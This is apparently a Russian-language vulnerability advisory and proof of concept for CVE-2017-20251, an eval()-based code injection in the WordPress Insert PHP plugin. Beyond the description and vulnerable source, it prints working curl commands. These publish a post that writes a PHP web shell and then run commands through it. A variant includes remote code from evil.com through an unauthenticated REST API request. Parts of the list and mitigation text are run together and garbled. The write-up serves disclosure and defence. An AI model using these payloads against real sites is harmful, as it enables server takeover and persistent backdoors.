Insert PHP Plugin PHP Code Injection
| Поле | Значение |
|---|
| CVE ID | CVE-2017-20251 |
| Плагин | Insert PHP (ныне Woody Code Snippets) |
| Затронутые версии | < 3.3.1 (протестировано на 1.3) |
| CWE | CWE-94 (Внедрение кода) |
| CVSS v3.1 | 9.8 (Критическая) |
| Вектор CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Раскрытие | Публичное (Exploit-DB 41308) |
Плагин Insert PHP до версии 3.3.1 позволяет удалённым злоумышленникам выполнять произвольный PHP-код через уязвимость внедрения шорткода. Плагин регистрирует шорткод [insert_php]...[/insert_php], который напрямую вычисляет содержимое внутри тегов шорткода с помощью функции PHP eval() без какой-либо санитизации или проверки.
Злоумышленник, имеющий возможность создавать или редактировать записи (через REST API, XML-RPC или с доступом контрибьютора/администратора), может внедрить произвольный PHP-код на любую страницу или запись, отображающую их содержимое, что приводит к полному удалённому выполнению кода на веб-сервере.
Уязвимость существует в функции will_bontrager_insert_php(), зарегистрированной как фильтр the_content:
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
$will_bontrager_content = $content;
preg_match_all(
'!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
$will_bontrager_content,
$will_bontrager_matches
);
$will_bontrager_nummatches = count($will_bontrager_matches[0]);
for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
ob_start();
eval($will_bontrager_matches[1][$will_bontrager_i]); // <-- УЯЗВИМО
$will_bontrager_replacement = ob_get_contents();
ob_clean();
ob_end_flush();
$will_bontrager_content = preg_replace(
'/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
$will_bontrager_replacement,
$will_bontrager_content,
1
);
}
return $will_bontrager_content;
}
add_filter('the_content', 'will_bontrager_insert_php', 9);
Ключевые проблемы:
eval() без какой-либо санитизации[insert_php]the_contenteval() выполняет произвольный PHP-код на сервереСерьёзность: Критическая
Полное удалённое выполнение кода (RCE) на веб-сервере:
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{
"title": "Malicious Post",
"content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
"status": "publish"
}'
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"
# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
-H "Content-Type: application/json" \
-u "USERNAME:APPLICATION_PASSWORD" \
-d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'
# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"
# Verify
cat /var/www/html/rce_poc.txt # Should output: RCE-SUCCESS
Для старых версий WordPress, где REST API позволял создание записей без аутентификации:
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
-H "Host: target.com" \
-H "Content-Type: application/json" \
-d '{
"id": "1234ffff",
"title": "by Hacker",
"content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
}'
Когда уязвимый шорткод обрабатывается, PHP-код внутри выполняется с помощью eval(). Для теста с маркерным файлом:
Запрос: Создать запись с [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Ответ: Запись успешно создана
Запрос: GET /?p=POST_ID
Ответ: Страница отображается, PHP-код выполняется, на сервере создаётся marker.txt
Проверка:
$ cat /var/www/html/marker.txt
SUCCESS
DISALLOW_UNFILTERED_HTML (хотя это не полностью устраняет проблему)Исправленная версия (3.3.1+):
[insert_php] на [wbcr_php_snippet]eval() в пользу безопасного контекста выполнения